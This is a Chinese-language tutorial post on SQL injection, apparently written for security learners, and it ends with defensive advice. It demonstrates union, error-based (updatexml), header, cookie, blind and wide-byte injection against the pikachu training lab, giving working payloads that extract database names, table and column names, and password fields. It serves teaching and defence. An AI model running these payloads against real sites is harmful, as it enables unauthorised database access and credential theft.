首发于Web漏洞篇
一、⚽SQL注入漏洞

一、⚽SQL注入漏洞

SQL注入漏洞原理:

SQL注入漏洞主要形成的原因是在数据交互中,前端的数据传入到后台处理时,没有做严格的判断,导致其传入的“数据”拼接到SQL语句中后,被当作SQL语句的一部分执行。 从而导致数据库受损(被脱库、被删除、甚至整个服务器权限沦陷)。
⛔一句话概括:注入产生的原因是接受相关参数未经过滤直接带入数据库查询操作。



SQL注入漏洞对于数据安全的影响:

数据库信息泄漏:数据库中存放的用户的隐私信息的泄露。

网页篡改:通过操作数据库对特定网页进行篡改。

网站被挂马,传播恶意软件:修改数据库一些字段的值,嵌入网马链接,进行挂马攻击。

数据库被恶意操作:数据库服务器被攻击,数据库的系统管理员帐户被窜改。

服务器被远程控制,被安装后门:经由数据库服务器提供的操作系统支持,让黑客得以修改或控制操作系统。

破坏硬盘数据,瘫痪全系统。



注入的一般步骤:

第一步: SQL注入点探测。探测SQL注入点是关键的一步,通过适当的分析应用程序,可以判断什么地方存在SQL注入点。通常只要带有输入提交的动态网页,并且动态网页访问数据库,就可能存在SQL注入漏洞。

第二步: 收集后台数据库信息。不同数据库的注入方法、函数都不尽相同,因此在注入之前,我们先要判断数据库的类型。判断数据库类型的方法很多,可以输入特殊字符,如单引号,让程序返回错误信息,我们根据错误信息提示进行判断;还可以使用特定函数来判断,比如输入“1 and version()>0”,程序返回正常,说明version()函数被数据库识别并执行,而version()函数是MySQL特有的函数,因此可以推断后台数据库为MySQL。

第三步: 猜解用户名和密码。数据库中的表和字段命名一般都是有规律的。通过构造特殊SQL语句在数据库中依次猜解出表名、字段名、字段数、用户名和密码。

第四步: 查找Web后台管理入口。WEB后台管理通常不对普通用户开放,要找到后台管理的登录网址,可以利用Web目录扫描工具(如:wwwscan、AWVS)快速搜索到可能的登录地址,然后逐一尝试,便可以找到后台管理平台的登录网址。

第五步: 入侵和破坏。一般后台管理具有较高权限和较多的功能,使用前面已破译的用户名、密码成功登录后台管理平台后,就可以任意进行破坏,比如上传木马、篡改网页、修改和窃取信息等,还可以进一步提权,入侵Web服务器和数据库服务器。



注入的分类:数据类型分类:

数字型注入: or 1=1
当输入的参数为整型时,如ID、年龄、页码等,如果存在注入漏洞,则可以认为是数字型注入。这种数字型注入最多出现在ASP、PHP等弱类型语言中,弱类型语言会自动推导变量类型,例如,参数id=8,PHP会自动推导变量id的数据类型为int类型,那么id=8 and 1=1,则会推导为string类型,这是弱类型语言的特性。而对于Java、C#这类强类型语言,如果试图把一个字符串转换为int类型,则会抛出异常,无法继续执行。所以,强类型的语言很少存在数字型注入漏洞。

字符型注入: ' or 1=1#
当输入参数为字符串时,称为字符型。数字型与字符型注入最大的区别在于:数字型不需要单引号闭合,而字符串类型一般要使用单引号来闭合。

搜索型注入: %xxx% or 1=1 #%'

当在搜索框搜索的时候,称为搜索型。搜索型与数字型注入最大的区别在于:数字型不需要百分号闭合,而搜索类型一般要使用百分号来闭合。

XX型注入: xx') or 1=1#

这种情况很少见,是程序员不规则操作造成的,一般不会单独归为一类。

注入提交方式:( get post cookie )

ASP:request (全部接受)、request.querystring (接受get)、request.form (接受post)、 request.cookie cookie (接受cookie)

PHP: $_REQUEST(全部接受)、$_GET(接受get)、 $_POST (接受post)、$_COOKIE(接受cookie)

注入的攻击手法:服务器接收到的响应类型

一、注入攻击的攻击手法主要有:
联合查询(union)注入、布尔盲注(base on boolian)、时间盲注(base on time)、报错信息注入、宽字节注入、偏移注入等。


二、常用的系统函数:

1. version()——MySQL 版本
2. user()——数据库用户名
3. database()——数据库名
4. @@datadir——数据库路径
5. @@version_compile_os——操作系统版本



三、字符串连接函数:

函数具体介绍: Sql注入中连接字符串常用函数 - lcamry - 博客园
1. concat(str1,str2,...)——没有分隔符地连接字符串
2. concat_ws(separator,str1,str2,...)——含有分隔符地连接字符串
3. group_concat(str1,str2,...)——连接一个组的所有字符串,并以逗号分隔每一条数据
⛔说着比较抽象,其实也并不需要详细了解,知道这三个函数能一次性查出所有信息就行了。

四、一般用于尝试的语句:

Ps:--+可以用#替换,url 提交过程中 Url 编码后的#为%23
or 1=1--+
'or 1=1--+
"or 1=1--+
)or 1=1--+
')or 1=1--+
") or 1=1--+
"))or 1=1--+


1️⃣联合查询union注入:

使用联合查询进行注入的前提是我们要进行注入的页面必须有显示位。
所谓联合查询注入即是使用union合并两个或多个SELECT语句的结果集,所以两个及以上的 select 必须有相同列、且各列的数据类型也都相同,同时,每条 SELECT 语句中的列的顺序必须相同。联合查询可先在链接最后添加 order by X 基于随意数字的注入,根据页面的返回结果来判断站点中的字段数目。下面以pikachu平台的数据库为例:

插入语句payload:v' union select username,pw from member where id=1#% 出现如下报错:

因为查询的字段必须等于主查询的字段,这个时候可以在SQL语句后面加order by进行排序,通过这个办法可以判断主查询的字段。

输入payload:a' order by 4#%,反馈如图:


输入payload:a' order by 3#%,反馈如图:


通过这个简单的办法找到主查询一共有三个字段。之后我们来使用union来做一个SQL语句的拼接。输入构造好的语句payload:a' union selec database(),user(),version()#%,反馈如图:


2️⃣information_schema注入:
information_schema数据库是MySQL5.0系统自带的数据库。其中保存着关于MySQL服务器所维护的所有其他数据库的信息。

通过information_schema注入,我们可以将整个数据库内容全部窃取出来, 使用 order by来判断查询的字段。首先通过联合查询先找出数据库的名称,输入payload:a' union select database(),user(),3 #% 得到反馈,判断数据库名称为 pikachu。

获取pikachu数据库的表名,输入payload: a' union select table_schema ,table_name,3 from information_schema.tables where table_schema='pikachu'#


获取pikachu数据库的字段名,输入payload:a' union select table_name,column_name,3 from information_schema.columns where table_name='users'#%


最后获取字段值的内容,输入payload: a' union select username ,password,3 from users#%


3️⃣基于报错信息注入:

此方法是在页面没有显示位但是 echomysql_error(); 函数,在前端输出了错误信息的时候方能使用。
优点是注入速度快,缺点是语句较为复杂,而且只能用 limit 依次进行猜解。总体来说,报错注入其实是一种公式化的注入方法,主要用于在页面中没有显示位,但是用 echomysql_error(); 输出了错误信息时使用。常见的select/insert/update/delete 注入都可以使用报错方式来获取信息。

基于报错的信息获取:(三个常用的用来报错的函数)

updatexml(): 函数是MYSQL对XML文档数据进行查询和修改的XPATH函数

extractvalue() : 函数也是MYSQL对XML文档数据进行查询的XPATH函数.

floor(): MYSQL中用来取整的函数.
基于报错的信息获取:

updatexml (XML_document, XPath_string, new_value);

第一个参数:XML_document是String格式,为XML文档对象的名称,文中为Doc

第二个参数:XPath_string (Xpath格式的字符串) ,如果不了解Xpath语法,可以在网上查找教程。

第三个参数:new_value,String格式,替换查找到的符合条件的数据

实战测试常用payload:

爆数据库版本信息

输入payload:k' and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1) #
爆数据库当前用户

输入payload:k' and updatexml(1,concat(0x7e,(SELECT user()),0x7e),1)#
爆数据库

输入payload:k' and updatexml(1,concat(0x7e,(SELECT database()),0x7e),1) #
爆表名

输入payload:k'and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu')),0)#,但是反馈回的错误表示只能显示一行,所以采用limit来一行一行显示

爆字段

输入payload:k' and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 2,1)),0)#

爆字段内容

输入payload:k' and updatexml(1,concat(0x7e,(select password from users limit 0,1)),0)#


4️⃣insert注入、update注入 、dalete注入 、Http Header注入 、Cookie注入


请求头可利用的点

1、insert注入:注册的信息,没有经过过滤直接带到数据库中,导致insert注入。

注入方法payload:a' or updatexml(1,concat(0x7e,(命令)),0) or'

①. 爆表名

payload:a'or updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema='pikachu' limit 0,1)),0) or'
②. 爆列名
payload:a' or updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users'limit 2,1)),0) or'
③. 爆内容
payload:a' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or'等同于
payload:a' or updatexml(1,concat(0x7e,(select password from users limit 0,1)),0) or '1'='1''

2、update注入:用户登陆端,没有经过过滤直接带到数据库中,导致update注入。
payload:a' or updatexml(0,concat(0x7e,(database())),0) or'

3、dalete注入:应用于前后端发贴、留言、用户等相关删除操作时抓包。
payload:delete from message where id=56 or updatexml(2,concat(0x7e,(database())),0)

4、Http Header注入:数据库直接获取了前端的头信息没有做任何的处理导致注入。
payload:在User-Agent输入 Mozilla 'or updatexml(1,concat(0x7e,database ()),0) or '

5、Cookie注入:后端获取Cookie直接在数据库中进行拼接,那这也是一个SQL注入点。
注入方法 :ant[uname]=admin后添加一个观察反馈的MYSQL的语法报错,发现了存在SQL注入漏洞后,再插入payload: 'and updatexml (1,concat(0x7e,database()),0)#


5️⃣Boolian(布尔型)SQL盲注:

因为web的页面返回值都是“True” 或者 “False”,也就是 “1” or “0”,所以布尔盲注就是注入后根据页面返回值来得到数据库信息的一种办法。

布尔型盲注爆破表明字符方法:

payload:select ascii(substr(database(),1,1))>xx; 通过对比ascii码的长度,爆出数据库名的第一个字符的ascii码。当修改payload ,1,1 ,2,1 时爆出第二个字符。


substr()函数:substr( string , start , length )。string(必需)规定要返回其中一部分的字符串。start(必需)规定在字符串的何处开始。length(可选)规定被返回字符串的长度。

如下图,当ascii码小于115,113的时候返回1,小于112时为0。可以判定数据库名第一个字符ascii码=112


布尔型盲注爆破表名长度方法:

payload:select length(database())<xx;

如下图,图中的表名长度为7


6️⃣base on time(时间型)盲注

当布尔型注入没有结果(页面显示正常)的时候,我们很难判断注入的代码是否被执行,也可以说到底这个注入点存不存在?这个时候布尔型注入就无法发挥自己的作用了。基于时间的盲注便应运而生,所谓基于时间的盲注,就是我们根据web页面响应的时间差来判断该页面是否存在SQL注入点。


时间型盲注所用函数
payload: vince' and sleep(x)#,可以使用这个方法,通过wen响应的时间差来测试是否存在注入点。

时间型盲注爆破方构造拼接语句:

payload: vince' and if(substr(database(),1,1)='X' (猜测点)',sleep(10),null#

⛔如果猜测真确,那么就会响应10秒,如果错误会立刻返回错误。

真实案例:

payload: :vince' and if(substr(database(),1,1)='p';,sleep(10),null)#,

⛔如果响应了10秒,则判断出 database 的表名的一个字符为 p。

7️⃣宽字节注入(⛔必须是GBK ⛔在 ' 前加 %df 用于绕过 )

当我们把 php.ini 文件里面的 magic_quotes_gqc 参数设为 ON 时,所有的'(单引号),"(双引号),\(反斜杠)和 null 字符都会被自动加上一个反斜杠进行转义。还有很多函数有类似的作用如:addslashes()、mysql_escape_string()、mysql_real_escape_string() 等,另外还有 parse_str() 后的变量也受 magic_quotes_gpc 的影响。目前大多数的主机都打开了这个选项,并且很多程序员也注意使用上面那些函数去过滤变量,这看上去很安全,很多漏洞查找者或者工具遇到这些函数过滤后的变量直接就放弃,但是就在他们放弃的同时也放过很多致命的安全漏洞。

其中 \ 的URL编码是 %5C ,当我们在单引号前面加上 %df 的时候,最终就会变成 運',如果程序的默认字符集是GBK等宽字节字符集,则 MYSQL 用 GBK 的编码时,会认为 %df 是一个宽字符,也就是 運,也就是说:%df\’ = %df%5c%27=縗’,有了单引号就好注入了。

' =======>\' 单引号转义后占两个字节,所以我们需要通过繁体字 %df 构造两个字节,最终用運干掉了 \ ,也就是说被運占领了 \ 所以最后在页面也不会显示出来.

小提示: 数字和字母占一个字节,汉字占两个字节。

哪些地方没有魔术引号的保护?

$_SERVER 变量:PHP5的 $_SERVER 变量缺少 magic_quotes_gqc 的保护,导致近年来 X-Forwarded-For的漏洞猛爆,所以很多程序员考虑过滤 X-Forwarded-For。

getenv() 函数:从环境中取字符串,获取环境变量的值,getenv() 用来取得参数 envvar环境变量的内容。如果该envvar变量存在则会返回指向该内容的指针。

$HTTP_RAW_POST_DATA—原生POST数据 与 PHP 输入、输出流。 $HTTP_RAW_POST_DATA ——post的原始数据是保存在一个叫php://input的文件。你可以通过简单的文件操作读取里面的数据来控制。php://stdin 和 php://input 是只读的,同时 php://stdout,php://stderr 和 php://output 是只写的。
8️⃣SQL跨库查询:

在我们进行sql注入的时候,经常会读出许多库。导致我们还需要在sqlmap里面使用“—current-代表”进行判断当前库是哪个。Mysql的root、mssql的sa、oracle的sys 分别是其数据库中权限最大的账户。
一般情况下,各个数据库对于其用户权限分别对应相关权限。通常在注入mssql的时候会看到所有的库名,但是读表却只能读当前库的表名。这个时候你的权限一般为dbowner 的权限,既数据库所有者的权限。换句话说,你只可以对当前库进行增删改查等操作。

跨库查询的第一要求就是要有权限,或者说,权限可以提升。否则只能对当前库进行操作,其他库甚至连读权限都可能没有。
比如说,mysql的root权限最高,所有的库对于root来说增删改查任意操作皆可执行。在windows系统中,安装的mysql一般具有system权限,也就是全盘可读。提权的时候如果拿到了root那么提权就会比较方便一些。
在linux系统中,mysql运行时一般是以mysql用户的权限来运行,相比较于windows,linux系统上的mysql更难利用,原因是linux的权限设置比较严格,在正常情况下,mysql只具有mysql用户的权限,相比较与windows下的mysql权限要低很多。

⛔在目前来看,跨库查询是指由于权限设置不严格,导致普通帐号被授予过高的权限,从而使得其可以对其他的数据库进行操作。比如,在mysql中,informatin_schema这个表默认只有root有权限进行操作。但是如果一个普通账户权限过高后,他便可以对该数据库进行操作,从而影响整个mysql数据库的运行。

防止SQL注入解决方案:

解决SQL注入问题的关键是对所有可能来自用户输入的数据进行严格的检查、对数据库配置使用最小权限原则。通常修复使用的方案有:


代码层面:


1、对输入进行严格的转义和过滤
2、使用参数化(Parameterized):目前有很多ORM框架会自动使用参数化解决注入问题,但其也提供了"拼接"的方式,所以使用时需要慎重!
3、PDO预处理 (Java、PHP防范推荐方法:)
⛔没有进行PDO预处理的SQL,在输入SQL语句进行执行的时候,web服务器自己拼凑SQL的时候有可能会把危险的SQL语句拼凑进去。但如果进行了PDO预处理的SQL,会让MYSQL自己进行拼凑,就算夹带了危险的SQL语句,也不会进行处理只会当成参数传进去,而不是以拼接进SQL语句传进去,从而防止了SQL注入。
PDO数据库抽象层学习:PDO数据库抽象层-php中文网

网络层面:

1、通过WAF设备启用防SQL Inject注入策略(或类似防护系统)
2、云端防护(360网站卫士,阿里云盾等)

编辑于 2020-09-24 11:09